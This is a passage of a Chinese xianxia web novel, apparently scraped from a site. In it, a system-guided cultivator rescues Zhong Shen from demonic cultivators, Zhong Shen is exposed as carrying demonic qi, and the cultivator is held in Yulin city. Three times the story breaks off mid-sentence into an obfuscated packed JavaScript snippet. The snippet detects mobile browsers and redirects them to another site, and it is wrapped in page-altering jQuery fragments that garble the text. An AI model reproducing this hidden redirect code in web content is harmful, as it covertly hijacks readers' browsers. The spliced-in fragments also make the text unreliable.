“一人一半,六十下品灵石。” 对方大喜,给了严文洲一半灵石当订金后,就立刻招出一片荷叶形的法器裹住蛇妖,开始剥起鳞片。动手就动手,偏偏这人还闲不住嘴,一会儿夸夸严文洲刀落得准,鳞片利用率很高,一会儿念叨着蛇妖血液浪费在了水里…… 也不知想起了什么,他忽地问了一句:“对了,在下玉阙峰郑静,还没问道友你是哪一峰下的?” 严文洲故作惊讶,“什么峰?” 郑静终于意识到了些许不对劲,圆滚滚的脑袋唰地扭过来,眼睛瞪成了铜铃,“你、你、你不是太清宗的么?” “啊,这是自然,”严文洲佯装不满,“道友身着太清宗弟子袍,一眼便知是太清宗弟子,只是就算太清宗声名赫赫,道友也不用如此强调吧?” 郑静慌了,难怪他从未听闻过这位见之难忘的“同门”,原来压根不是同门!幸亏这散修心底还算良善,没做出杀人夺宝的事情来,要不然恐怕他此时魂儿都已经散了! 他一边后怕,一边看着青年实在好看的脸,只觉心里愈发飘,又生出更多慌张来,恍惚间只讷讷道:“可、可这是新月湾小秘境啊!” 哗啦哗啦——熟悉的击水声再度传来。 严文洲神情微变,直觉是打了小的,来了老的,捞起蛇妖尸体往储物袋里一塞正打算走,眼角余光里,那太清宗弟子却还傻乎乎地愣着不知在想些什么,便出言提醒了一句。 蛇妖的速度本就极快,又有驭水之能,在水域中几乎像是有腾挪之能,两人慢了一拍,立刻狼狈了许多,数次擦着边蛇口逃生,简直是被撵着上岸的。 等摆脱了蛇妖,两人已经深入陆地,触目所及便是草木委顿的焦黄之色,看上去毫无生机。 严文洲眯了眯眼,给系统送了道心音,“这是,新月湾?” “我、我也没来过啊!不过都是秘境了,说不定,这里本就如此呢?” 严文洲啧了一声,一听这分魂慌张的声音就知道此处不对劲。这系统要说有用,确实还挺有用的,可什么时候有用,却跟掷骰子一样,时不时便抛出个一点来。 他转向郑静,见这人一脸虚脱样地给自己塞了一嘴丹药,正伸长了脖子拼命往下咽,“郑兄,你方才说这里是新月湾秘境?” “……啊,正是,”丹药下肚,郑静的脸色顿时好了许多,犹自不死心地问道:“道友,你真的不是太清弟子?” 严文洲笑道:“在下才疏学浅,无缘得入太清。” 郑静不由长叹一声,心里有些酸溜溜的——就刚刚这人的一手刀法,恐怕是太清无缘吧! “严兄,若非你方才拉我一把,恐怕我此时早已葬身蛇腹,咱们如今也算是有过命的交情了,我便与你说实话了!此处正是太清宗名下的一处秘境,是用来给筑基期弟子历练的,弟子们都随身携带有一枚玉符,捏碎后即可回到山门内,不过十五日后,秘境也会自然关闭,严兄到时候应该也能出去了。” 这话说得相当有水平,一来点出了此处是何地,归何门管辖,二来也是在提醒严文洲莫要杀人,毕竟到时候可是直接传送到太清宗的,若是惹了事,可不好逃脱。 严文洲点点头,“多谢道友,那我们就此别过。” 目送着郑静消失在视野内,白鱼刀便不紧不慢地按照系统给出的路线往前飞。 愈往前,便愈灼热,水汽也愈发稀薄,两个时辰后,面前已然是一片荒芜沙地,直逼炼器坊的热度让空气在眼前扭曲出纹理,而钟慎仍在远方。 再往前,恐怕很难了。 严文洲心下了然,这多半是杜衡随手扔下的三山离火的所在地。 系统忍不住骂起来,“哔哔哔——还有三十里路!钟慎怎么跑那么远了!?” 严文洲嘴角弯出一个微妙的笑,“统兄,要不然说那傻小子身负大气运呢,随便一落便落到了三山离火附近。我先前不是已经传授了他一些收服灵物的诀窍么,说不定啊,他此时都在收服三山离火了。” 虽然听着像是安慰,但系统怎么都觉得有些不对劲,顿了许久才道:“你不会是在阴阳怪气吧?” 严文洲回了一句情真意切的“怎会”,觉得这玄天卷分魂在人间呆了许久,倒是变得通人性了许多。他本就不是专门为了钟慎而来,如今又碰上了这等情况,不管是蒙头前进还是死等,都没意思,便扭头朝来路而去。 不久前,那个方向曾传出过巨大声响,定然是有大热闹可看。 没走几步,迎面便蹿过几道飞光。 严文洲眼力好,看出来那都是太清宗青白色的弟子服,本打算视而不见,然而紧接着便又有几道飞光掠过。 这一回,仍然穿着太清宗弟子服。 他心中一动,立刻跟了上去,果然看到了热闹——两拨太清宗弟子你追我赶,前面的疯狂逃窜,后面的紧追不舍,简直是一副不死不休的架势。 凭直觉,严文洲觉得前面的只是借了层太清宗弟子壳的魔修。 魔修被仙修追,少见。 “师兄,前面的乃是夜游宫门人,莫要让他们逃了!”耳边传来一声大喝。 严文洲低头一看,自己今天也穿了身青白色的衣衫,看上去和太清宗弟子服颇有几分相像,不由失笑。 “道友,你弄错了,我可不是太清宗的!” 两拨人动作一致地停了下来,十来双眼睛直勾勾地盯着严文洲看,似乎他是什么价值万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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与此同时,系统尖锐的警报声也响了起来:“危险!危险!钟慎生命值过低!请宿主及时救援!” 眼前陡然出现了一个金色的巨大箭头,辉煌灿烂地严文洲忍不住眯起了眼。而箭头所指方向,正是夜游宫门人飞窜的方向。 他左右望了望,见其他人都是神色平淡,便知这又是系统搞出来的鬼东西。 偏偏在这时候周凌也凑了过来,一脸欣赏,“道友,不知你是哪一峰门下?” 似曾相识 严文洲神色微妙地看了他一眼,摇了摇头问道:“你认识郑静么?” 周凌愣了一下,“认识啊,那是我堂弟。道友你……他不会是得罪……”话音未落,一朵巨大的白日烟花便升腾起来,隐约组成了六峰十二谷的图样。 还是金色箭头所指方向。 严文洲忍不住喟叹,这求救烟花不会是钟慎放的吧。 周凌立刻转移了注意力,眼睛一瞪,给自己塞了一把丹药便一招手,“太清宗弟子有难,跟我走!”说完,便冲了出去。 后面这些弟子也不知是跟惯了,还是当真侠肝义胆,也跟着冲了出去。 眨眼的功夫,严文洲眼前只剩下一片烟尘。笑了一声,他踩着白鱼刀,跟了过去,一边还安抚了一下不安分的分魂,“统兄,莫要再吵了,再吵我这灵台都要被你捅穿了。” “快点快点!钟慎生命值正在急剧下降中!啊啊啊——” 听着系统急得劈叉的声音,严文洲状似无意道:“大气运者大多有化险为福的本事,说不定,这正是钟慎的造化呢。” “放屁——”系统发出尖锐暴鸣,“主线早就已经崩坏了!要是……”心海里的声音陡然停滞。 严文洲微挑了眉。要是什么?要是再崩坏一次?还是…… 他忽然很好奇,若是钟慎真的死了,玄天卷会如何。说到底,玄天卷终究只是悬在中域蛮荒之地的一本破书,四洲的事,与它何干? 虽然这么想着,他却一如既往地安慰起来,“若是钟慎真有什么三长两短,这里总归还有夜游宫门人呢,我夺了功法给他便是。想必以他的气运,当场改作尸修也定然会是一番人杰。” “啊——呸呸呸——你闭嘴!”系统狂怒不已。 23.东极道主之子 钟慎确实快不行了。 烈火灼身,筋骨重塑之苦痛彻心扉,若非身体底子已然比先前好了许多,又经过了一个月量身定制的特殊训练,他恐怕根本坚持不下去。 醒来时不着寸缕不说,浑身还覆盖着血污,钟慎甚至在恍惚中嗅到了一股微妙的香气,像是食物烤熟的味道。 还未恢复过来,又有人横空杀出,甫一见面便目露凶光,喊打喊杀。好在意识虽然飘忽,但身体本能还在,还未反应过来,他便拔足狂奔,将那人暂时甩到了后头。 只是这莫名其妙的杀手实在了得,竟如牛皮糖一样怎么甩也甩不掉。 大哥曾言,跑不过便打,打不过便…… 便什么来着? 钟慎有些迷糊了,雪亮剑光却已顺着心意落下。剑刃明显接触到了这人身体,但似乎,并不是柔软的活人质地。 倒像是先前练剑时误触到的腊肉。 茫然中,他又挥出一剑,剑光比方才更胜一筹,似乎触之即死。 只是没中。 “垂云剑诀?” 钟慎陡然清醒,这本无名剑诀是大哥给的,这人怎么知道名字?难道是正主? 不,看上去更像是仇敌! 人回了神,剑诀却乱了套,一个月的突击到底比不上多年锤炼打磨,更何况,遇上的还是和修为压低了,但经验半点不少的老怪物。 几招下来,剑卷了刃,人也被按在了地上。 “你是江家什么人?” 喉咙被一双干瘦无肉的手卡住,面前是一张一看便知不是正经仙修的青白面孔,钟慎来不及深究这人为什么出现在新月湾秘境,只艰难而刚烈地喝道:“什么江家!?你要杀就杀,废那么多话干什么?” “那三山离火呢?” “……什么火?你这人真没道理!” 钟慎哪里知道什么三山离火,他只知道自己倒霉透了,别人进秘境是收获颇丰,自己进秘境是烤熟了给别人送菜来的! 不过,自己死了便死了,绝不能让同门重蹈覆辙! 嗯,等等……他忽地想起还有太清宗弟子统一的求助信号,立刻趁着面前这魔修不备,捏了法诀。烟花升空,瞬间便在头顶上绽放出完全无法忽略的信号。 魔修大怒,“你个小儿也忒不知好歹,我本欲留你一命,你以为你那些同门救得了你么?” 话音落下,几道破空声接次传来。 钟慎还没来得及欣喜,便看这群身着太清宗弟子服的人齐刷刷朝眼前的魔修单膝跪下,喊道:“朔月长老!” 看着钟慎一脸天塌了的神色,朔月长老心情稍好,随意点了个人扛着钟慎便道:“事情已了,走吧。” 咻咻咻——比方才更多的破空声传来。 朔月长老眉头一皱,扭头一看自己手下要不一脸愤恨,要不羞愧难当,觉得事情稍稍有些棘手了起来。 三山离火他自然是不会放弃的,可江家传承,他同样想要。这便不能单单杀了那小子取火了。再者,这新月湾到底只是给一群小弟子的试炼地,区区筑基期,难道还能怕了他们了么? 心念一定,太清宗弟子们已经到了眼前。 钟慎本不再抱有期望,可一听这群人开口,眼中热泪便要忍不住滚落了。 “尔等魔修,胆敢伤我太清宗弟子!还不速速放下师弟!” 是玉阙峰的周凌师兄! 钟慎陡然挣扎起来:“师兄,此人叫什么朔月长老,千万小心!” 话音一落,太清宗弟子陡然变色,看向一行魔修的眼神满是不可置信。 “夜游宫八长老之一的朔月长老!?” “不会是假冒的吧?” “不可能!断然不可能!” …… 看着太清宗弟子惊愕中带着畏惧的神情,朔月长老原本有些高兴,然而一听这群小弟子居然觉得他是假冒的,方才好转的心情又急转直下,直奔谷底。 他脸色渐沉,正打算直接动手宰了这群不识相的小崽子,便听对面有人朗声道:“管你什么月长老,此乃太清宗秘境!便是你修为通天,也得压了修为进来,况且又只有寥寥几人,我们未必赢不了他们!” 太清宗弟子陡然士气大振。 周凌又道:“钟师弟,快快捏碎玉符,去给师长们通报消息!”此时此刻,他才意识到,钟慎有些……衣冠不整,师长派发的出入玉符恐怕早已没了。怔愣了一瞬,朔月长老已经带着人动手了。 招魂幡并尸棺齐出,阴气与怨气窜得漫天飞,逼人热浪一下消减了许多。 严文洲来时,双方已经打得不可开交了。 更重要的是…… 他避开不知从哪儿飞出来的剑气,仔细辨认了一番时而闪现的银白色微小划痕。日光下,那像是即将弥散的微弱剑光,十分不起眼。 是新月湾秘境的裂缝。 夜游宫那几个修士快压不住修为了。 金色箭头已经消失,严文洲观望了一阵,问道:“统兄,钟慎呢?” “那个被扛在身上的!啊啊啊,钟慎要被抓走了!” 脚尖一点,他飞身截住了朔月长老,白鱼刀乘势而出,皎若游龙。 砰——刀刃与招魂幡相碰,竟一点也不逊色! 朔月长老瞳孔一缩,这招魂幡可是他的本命法器,一个元婴修士居然没能砍掉筑基修士的法器!简直滑稽!对面这把刀是个什么来头?! 心中一惊,贪婪也同步滋长。 眨眼间,两人已过了数十招,愈打,朔月长老便越觉此子不可小觑——若太清宗有此弟子,将来必有大祸! 可与此同时,他却也觉得这修士竟是有些眼熟,像是在哪里见过一般。 略一迟疑,刀光便落到了身上,温凉鲜血淌了自己半身,朔月长老已经很久没有这样的时候了,不由大怒,而肩上的小子也不是什么省油的货色,一见吃瘪,便立刻挣扎起来。 朔月长老愈发恼怒,眸光一沉便打算直接捏死手上这只小蚂蚁,取了三山离火便走人,然而电光火石间,他却陡然想起了面前这个刀客像谁! “你、你是……” 朔月长老惊疑不定,严文洲置若罔闻,钟慎微微一呆。 “东极道主之子!” 白鱼刀抖了,一刀落空,钟慎傻了,掌心不知怎么就烫了起来,禁制烧毁,整个人滚到了沙地上。所有人都不由自主地停了下来,十几双眼睛齐刷刷地看过来。 严文洲从未意识到过这个可能。毕竟传闻中的东极道主,要修为有修为,要权势有权势,什么天材地宝都不缺,惊人事迹一点不少,唯独没有过红颜知己。 至于比红颜知己更深一步的儿子,就更没影儿了。 蓝颜知己就更不可能了。 可看着朔月长老青白的脸,他陡然记起了一连串画面—— 月圆夜,清辉遍地,无数红绸当空展开,交织成囚笼似的图纹,异香中,乐姬翩翩起舞,宛若仙人。下一刻,寒光骤现,尸人傀儡瞬间便朝自己扑过来,而刀光也同时闪现。 唉,又杀人了啊。 夜游宫,原来是老仇家了啊。 严文洲长舒一口气,捏了捏眉心,正准备出言嘲讽,眼角余光中却瞥到钟慎变了颜色。 字面意义上的变了颜色,微微带青色的红从他身上流露出来,刹那间便有熊熊烈焰腾空而起。 严文洲心生不妙,坏了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041127|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这傻小子想岔了。 “不、不可能!” 万籁俱寂,钟慎的呢喃变得格外清晰,而随着三山离火一起出现的,还有一丝丝熟悉至极的气息。 “魔、魔气!?”太清宗弟子们惊呆了。 “统兄,钟慎这是怎么回事!?你莫不是在开玩笑!?” 严文洲冰冷的质问还没来得及说完,就再度听到了系统死水般的音调:“嘀——主线正在偏离,请及时矫正!主线正在偏离,请及时矫正!” 矫正个屁!难不成他还能神通广大到把不知从哪里冒出来的魔气塞回到钟慎体内?! 严文洲脸色一沉,觉得这狗屁系统实在是越来越讨人厌了。 被系统分神了瞬间,他全然没发现,钟慎周身扭曲的空间正在不断出现一条条银白细丝,而另一边也有人穿越火光朝他冲来。 喀拉—— “开!” 断裂声与暴呵同时响起,严文洲只觉眼前景象骤然四分五裂,身后传来一股诡异的吸力,整个人便被拉入了一道裂缝中,耳边只隐约传来一句:“大胆狂徒!” 太清宗那群行事慢三拍的老乌龟终于动手了…… 再睁眼时,眼前是一间异常开阔的石室,长宽皆有十来丈,天花板雕镂星空,正缓缓旋转,只是阴气太重,定然不是仙修风格。 白鱼刀仍然在手,严文洲起身,不出意料地看见了朔月长老和他的一干手下。 少的几个,想必是阴沟里翻船,死了。 没了秘境的压制后,修为顿时显现出了原貌——一个元婴,两个金丹。 没管系统发出的一连串不愉快的声响,他朝朔月长老打了个招呼,好奇道:“你说我是东极道主的儿子?” 朔月长老放从地上爬起来,听闻此言眼神顿时十分微妙,“小子,姓甚名谁,报上来。” “不才姓严,名文洲。”严文洲笑眯眯道。 朔月长老卡了一下——东极道主叫什么来着?他扫了两个手下一眼,只换来了茫然的对视,于是只能咬着牙开口道:“那老狗霸占了魔道至尊的位置那么久,如今一死连牌位上都不知道写什么,真是连姓名都抛却了的无耻之辈!” 手下总算听懂了暗示,可却也呆了。 东极道主,目前唯一能拴住东极道那群疯狗的铁链,那可是四洲万人之上的人物,放在从前,他们连给他提鞋都不配,谁还敢直呼他姓名!? “朔月,我来告诉你,东极道主姓严,这位小兄弟恐怕确实是他的子嗣。” 严文洲看戏看得正高兴,忽地便听到了一声轻而缓的声音。寻声望去,几步外不知何时多了一个身披白色大氅的女子。 乌发如瀑,衣冠胜雪,面色青白,鬼气森森。 只一步,她便跨到了朔月面前,修长手指掐住了朔月脖子,一如他曾掐住钟慎脖子那般。喀一声,朔月便脖子一歪,周身气息轰然溃散,而后是妄图逃逸的神魂。 捏住泛着微光的神魂的那一刻,女子微微叹了口气,神色无奈,“朔月,纵然有了三山离火,你也压不住功法反噬,天魔祭强行中止带来的伤可不是那么容易修复的,况且……” “你太蠢了。” 神魂应声崩解。 再一眨眼,后面那两个瑟瑟发抖的金丹喽啰也彻底不抖了。 一切只在几个呼吸之间。 严文洲看得眉心直跳,扣在手里的拜师礼已然蓄势待发。可夜游宫宫主却只是转过身,冲他点点头,慢慢道:“小兄弟,见笑了,这些日子不如就先住在这里吧。” 虽是问句,语调却毫无质疑余地,严文洲斟酌片刻,“……此处是夜游宫?” “不,东洲郁林城。” 24.东洲事(一) 太清宗已然乱成了一锅粥。 新月湾小秘境开启了不过一日便匆匆关闭,先出来的弟子呼天抢地说里面有一群魔修,管事的开始还以为是这弟子中了什么毒,在说胡话。 毕竟新月湾开启的时候,就在太清宗内部,魔修怎么可能混进去?! 可见一连出来好几个弟子都如此说,管事的不禁起了嘀咕,立刻报了上去。 这么一报告,几个闲散峰主便立刻得到了消息,来盘问起自家弟子来了,而新月湾秘境钥匙的实际掌管人,也就是太清宗掌门,也立刻往秘境里扫了一眼。 大惊失色。 秘境一关,凡是不在闭关的峰主都聚集到了主峰主殿内,几个呼吸之间,清净肃穆之地便吵成了热闹大集。 “新月湾怎么会出现三山离火!?” “离火算什么!?不就是个机缘么?那群夜游宫的魔修才重要吧?师弟你不要关注错重点!” “新月湾归属我宗已有三百余年,送了数十届弟子进去皆平安无事,怎么今年冒出来一个离火!?” “受伤弟子如何了?可有弟子身陨?” “我玉阙峰弟子全员无恙!” “那弟子真是东极道主之子么?他不是姓钟么?” “严查!定要严查!” …… 掌教面无表情坐在上首,听得头疼,一扭头又看见了一面平滑水镜,镜面上映着一个玉白平台,最中心处有明显的烧灼痕迹,既是花纹又是符文的纹路已经破坏殆尽。 头疼,更严重了。 他颇为怨念,陡然升起了一种把正在玉虚顶闭关的某人拉出来的冲动。 可这也只能想想而已。 待声音渐小,掌教开口道:“大家安静些,今年新月湾秘境确实出了些变故,索性发现得早,并未有弟子因此身陨,诸位无需担忧。至于那个弟子……”他抚了雪白长须,觉得手感似乎枯燥了几分,长眉狠狠一皱,“诸位有何看法?” 主殿顿时安静了下来,各大峰主不是眼观鼻鼻观心,便是互相使眼色,谁也没开口。 如今的魔道,哪还有什么父死子继,区区一个筑基期也掀不起什么风浪,可东极道主的儿子到底是不一样的。 一来,那位魔尊曾是仙门中人,若钟慎真是他的儿子,现下也入仙门,未免太古怪,太离奇,绝不单纯。须知,东洲魔道如今虽群龙无首,但还有一批效忠于东极道主的魔修蛰伏,若他们上门要人,给还是不给?若给,得有个过得去的面子工程来遮掩一二,若不给,那更得妥善料理。 二来,东极道主死得仓促,据说他长居之处空空如也,只有几卷破书,那他积攒下的财宝呢?总不会他做了三百余年的魔尊,就这么点身家吧? 更何况,东极道主是否真的身死道消了,还未可知呢! 安静了许久,才有人轻咳一声,试探着道:“我看,不如问问那小弟子自己的想法?” “此等大事,问他有什么用!”立刻有人反驳。 “其实,那弟子究竟是否是东极道主之子还未可知,说不定他只是机缘巧合之下沾染上了魔气,我看不如先搁置一二。” “不错,既然能收服三山离火,想必也是个心性坚韧之辈,再者,既走过天梯,也不会心存邪念。” 有人冷笑一声,“你们是不是忘了东极道主曾经也是仙门翘楚?装而已,谁不会!?纵然他此时并未包藏祸心,留这么一个祸害在宗门内,诸位是觉得事情还不够乱?!” 听闻此言,太清宗掌教抚着胡子的手不禁一顿,眼神落在了说话人身上。 五雷峰峰主,难怪。 然而玉阙峰主陡然变色,拍案而起,“你以为谁都是东极道主!?辛默你莫不是牢里呆多了,看谁都有问题!?” 话说得直白,当下便有人忍不住笑了出来。 太清宗掌教一看,玉华峰峰主,更是个难应付的。他连忙使了个眼色试图让这人少说几句,可也不知是真没看到,还是装没看到,她已然悠哉游哉地骂了起来: “辛峰主,我觉得周峰主说得有道理,你看人自带三分邪性的事,谁都知道,便是贺循那般守规矩的弟子都能被你寻到个错处送进后山,那这么一个刚入门的小弟子要是落到你手里,不得掉三层皮么?更何况,东极道主叛出仙门的事情本就古怪,玄天卷降世千年,怎得突然活了呢?哦等等,你这么揪着东极道主,莫不是还忘不了当年的事?” 哒——茶盏接触到桌面,声音异常清晰。 主殿里一时安静极了,谁也没想到玉华峰主会提起这一茬。东极道主还在仙门的时候,曾因意外和他的师傅在太清宗住了许久,这期间交了不少朋友,也结了不少仇,其中一个便是如今的五雷峰主。 两人当年“论道”可直接削平了一座峰,如今也还是秃的。 掌教只觉眼皮狂跳,下意识要补救却又隐约觉得已经来不及了。 果然,下一刻,五雷峰峰主暴跳如雷,“荒谬!纵然玄天卷有疑,东极道主屠戮江家的事你忘了?!那小子已然有入魔迹象,你们若执意要护着那小子,就不要怪我不客气了!” “斩草务必除根,否则怎么对得起惨死的上一代凌华峰主?!”有人抚掌附和。 “此言有理,最上乘之医者,乃医未病之病者,吾等可不能放任祸患流于江湖。”又有人赞同。 五雷峰主神色稍霁,待几人说完便继续道:“我看,不如将那弟子废去修为,送去惘域走一遭,若他无恙,便送去凡间养老,若死了也是心性不坚所致。” 话音刚落,众人神情都不约而同地一滞,齐齐看向门口。 渺渺云雾中,有飞光瞬息而至,再一定睛,主殿外已然多了三人。中间的白衣人一步跨入主殿,只对太清掌教和玉华峰主点了点头,“钟慎,我带走了。” 声音冷而静,如霜雪雕镂的珠玉,又如万古寒风,激得众人心头一激灵,眼神中又都流露出几分微妙——东极道主的宿友、死敌居然为了这件事出山了!可他要这小弟子作甚? 掌教一怔,继而心中狂喜,面上却是一派早知如此的淡然,矜持地点了点头道:“好。” 剑尊一步踏出主殿,锋锐剑芒毫无收敛,刺得皮肤生疼。可没有人说什么,就连五雷峰主也只是阴沉着脸,眼睁睁地看着他离开。 就在他即将跨过殿门的瞬间,玉华峰主陡然出声:“东极道主,真有子嗣么?” “没有。” 下一刻,云雾遮掩了三人身形,再不得见了。 太清掌教对结果十分满意,“既然师弟将那弟子接走,那便……”话还没说完,他身后的匾额哐镗一声掉了下来,有教无类四个字在面前裂成了八瓣。 五雷峰主脸色立刻青红交错,最后缓缓停留在一个不祥的赤紫色。 玉阙峰主忍住笑,主动转移话题道:“听闻除了夜游宫魔修,还有一个散修混了进去?” 此时此刻,掌教已经重新调整好了表情,平静道:“想必是夜游宫魔修偷开秘境时被卷进去的,眼下人不知所踪,不过是个筑基修士,权当没有吧。” 玉阙峰主不禁摇头,“恐怕难活。” 事实上,严文洲不仅活着,还活得相当好。 住的是自带亭台楼阁、歌台舞榭的洞天别院,吃的是自动送上门、富含灵气的山珍海味,灵气馥郁得都开始让他觉得太易宗那一亩三分地实在是住不了人的荒僻之地了。 唯独少了些乐子。 别院冷清,单只有严文洲一个活人,除了修炼,日常想来只有和系统拌嘴一事可做,就连灵台里的任务、日常两块常年笼罩金色的地方都灰了。 听系统念叨了快一天的主线偏离后,他陡然听到一句:“主线正在矫正中,偏离程度99%,89%,80%……” 严文洲一愣,难不成是温世宜做的? “主线矫正完成,目前偏离程度50%,预测模型与第一版模型有所交叉,正在重新计算中。”系统再度陷入沉默。 严文洲心情微妙。 自从在酒楼碰上温世宜,他时不时便会在钟慎身边发现这人踪迹,确实是系统的作风——死命把人往钟慎身边引。只是不知是不是错觉,这个姓温的,看人的眼神总有些不对劲。 不过,居然能把偏离拉低49%,也算是能干。 天光甚好,照出一池鳞光。 严文洲随手凝出一把灵力点,落下瞬间便引来无数红鱼,挤挤挨挨地争抢起来,又热闹又好看,还颇为符合仙家楼阁的氛围。 仔细琢磨了一阵,他觉得给太玄峰主殿前加一片池塘应该会是个很好的主意。 也不知道,那群人什么时候能发现自己失踪了。 半旬,一个月,两个月……严文洲掰着手指头算了算,觉得就算是太易宗诸人发现了失踪,也很难找到这里——东洲郁林城,相距飞仙城万里之遥。 与其指望太易宗,不如指望那两个目的不明的魔修。 正想着,系统又出声:“嘀嘀——模型预测已完成,预测准确度90%!” 金字长卷已然出现在了灵台中,严文洲粗略扫了一眼,乐了——这所谓的90%准确度是在放屁吧。 头一行:某年某月某日,钟慎被明朔剑尊从后山带走,入玉虚峰。 也就是说,那傻小子在出了新月湾秘境后,忽然被正在闭关的明朔剑尊收为弟子了! 玉京、玉虚、玉华三峰是太清宗主脉,想入这三峰者不知其数,有天赋、有心性能入者如过江之鲫,而最终入了的,十个手指都数得过来,比跳过龙门的还少。 不是严文洲看不起钟慎,实在是玉虚峰目前一共就两个活人,一个是明朔剑尊,一个是他的弟子贺循,两个都是剑修,钟慎…… 他忽地想起,第一版预测模型中,钟慎确实是直接拜入了明朔剑尊门下,并且还丹剑双修,成了本界大能。 严文洲笑不出来了,心中忽然升起一个猜测——也许,系统是按照最开始的预测规划的任务,无论是三山离火还是江家传承,都是为了确保钟慎能拿到他“本该”得到的东西。 可帮钟慎,玄天卷能得到什么? 严文洲眸光微沉,只问道:“统兄,你可有什么办法助我脱困么?” “……没有。” “唔,这附近可有什么秘境、传送法阵的可供一用?” 算盘珠子都快崩脸上了! 系统大声道:“没有!” 一连过了几日清闲日子,严文洲十分无聊,只觉得骨头都要懒酥了,兴许是原先在太易宗时奔波太过,此时猛地一停下来便十分不适应。 一线机缘仍然未知。 他每日算三卦,一无所获。不过,卜算有没有精进暂且不论,烧龟壳的火候倒是把握地愈发准确了。 严文洲不急,每日吐纳些灵气,练练刀,便拿一池子红鱼开涮,借着灵气将这些贪食的鱼儿满池子溜,几日下来,鱼都瘦了一圈。 他不急,系统却急。 “宿主,你、你就不能尝试一下逃出去么?!万一她一直不放你出来呢?!钟慎还在等着你呢!” “统兄你莫要着急,钟慎等我作甚?他如今有明朔剑尊护着呢,断然不会有事。” “统兄,不是我不动,实在是我如今修为太低微,那夜游宫宫主可是位炼虚期修士,我能有什么办法?” …… 正有一搭没一搭地逗着系统,耳边却有一声枯枝断裂声传来。 严文洲循声望去,不远处的花丛边探出一张胖乎乎的脸蛋来,头上两个冲天辫十分显眼。 见已经被发现了,这小孩儿也不羞,青白着脸直挺挺地朝他走过来,两只黑沉沉的大眼睛直勾勾地看他。 严文洲一阵扼腕,这小孩儿看着不过五六岁的样子,居然也挺过了修尸道的第一道坎,且还是金丹修为,若是没死,该是多好的苗子! “听闻我娘又多了个男宠,是你么?”她问道。 严文洲一怔,立刻笑眯眯地摇了摇头,“在下已经有心上人了。” “我娘可是夜游宫宫主,要什么有什么,你的心上人比得上么?”小孩儿眉头一皱,看向严文洲的眼神里几乎带着几分谴责。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050843|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 严文洲哽了一下,开始胡诌,“我的心上人也有一个山门,银发雪肤,漂亮得很。” 小孩儿拧着眉想了想,十分自然地反问:“那又如何?有心上人便不能做我娘的男宠么?” 严文洲一想,觉得也对,还没来得及胡扯,便又听到一句:“你长得真好看,若不愿跟我娘,将来能做我的男宠么?” 严文洲:“……” 夜游宫主,真奇人也! 见他不回答,小孩儿也不催促,眼神像是凝固在了他脸上。 瘆得慌 严文洲幽幽叹了口气,“不知道友如何称呼,若将来我走投无路,说不定便来做道友的男宠了。” “我叫闻渊,听闻的闻,临渊羡鱼的渊,你可要记好了我的名字,别忘了。”闻渊十分认真,似乎认定严文洲将来一定会来找她一样。 严文洲也认真地点了点头,半点不耐也没有,又交换了自己的名字后方道:“我想出去,闻小友可以带我出去么?” 闻渊昂起头打量了一下,点点头,“可以,不过我得送你回来,毕竟,你还是我娘的人。” 严文洲:“……小友心思缜密。” 正巧赶过来的侍从:“……” 东洲靠海,三分之一的城池都在海边,剩下三分之一虽然不靠海,但一定能通过一到两座城池到达海边,郁林城便是其中之一。 在洞天别院中还不觉得,一踏出结界,风中便已潮湿了许多,气温亦是要比飞仙城温暖上许多,会象征性裹上冬裘的只有修士,行人大多都是衣衫轻薄飘扬的模样。 严文洲一行人并未遮掩容貌,夜游宫门人的脸色又实在太过有代表性,简直是把“我不好惹”写在了脸上,行在郁林城街道上时,很是享受了一番众人瞩目的待遇。 毕竟,东洲和南州十分不同,每个城池几乎都由仙门世家把控,郁林城便是夜游宫名下的城池之一。 沿着主街走了一遍,又在坊市里兜了一圈,侍从忍不住了,小心翼翼道:“少宫主,天色不早了,宫主怕是要想你了,不如回去吧?” 闻渊立刻摇头,随手拿起一只珠编小狗看了起来,“我娘不会想我的,她昨日还跟我说最近很忙,让我不要随意打搅她呢。” 侍从一下灰了脸,暗自叫苦不迭,只觉得先前主动揽活儿的自己真真是个傻子!单知道少宫主聪明绝顶,修为拔尖儿,谁知道她还真是个小孩儿心性啊! 严文洲乐得在外面多待会儿,说不定还能找个机会脱身。况且,这位夜游宫少宫主的脾气实在有趣! 这么想着,他给系统送了道心音:“统兄,可否行个方便,替我为这位闻小友算一卦今日运势?” “……为何?” “自然是制造机会离开。” “行!” 闻渊已经放下了珠编小狗,扭头对侍从道:“我要一只活的小狗,就这个颜色的。” 一号侍从一看玩偶那泛着珠光的象牙色,本就没有生气的脸色更难看了。 轻描淡写地下达了一个艰难的任务,闻渊黑而暗沉的眼珠转而停在了严文洲身上,“我嗅到了仙修的气息,是你的同门师长来了么?” 严文洲一惊,继而诚实道:“怕是不会。” 闻渊有些不解,“你在门派里很讨人厌么?” “……并非,只是太远了。” 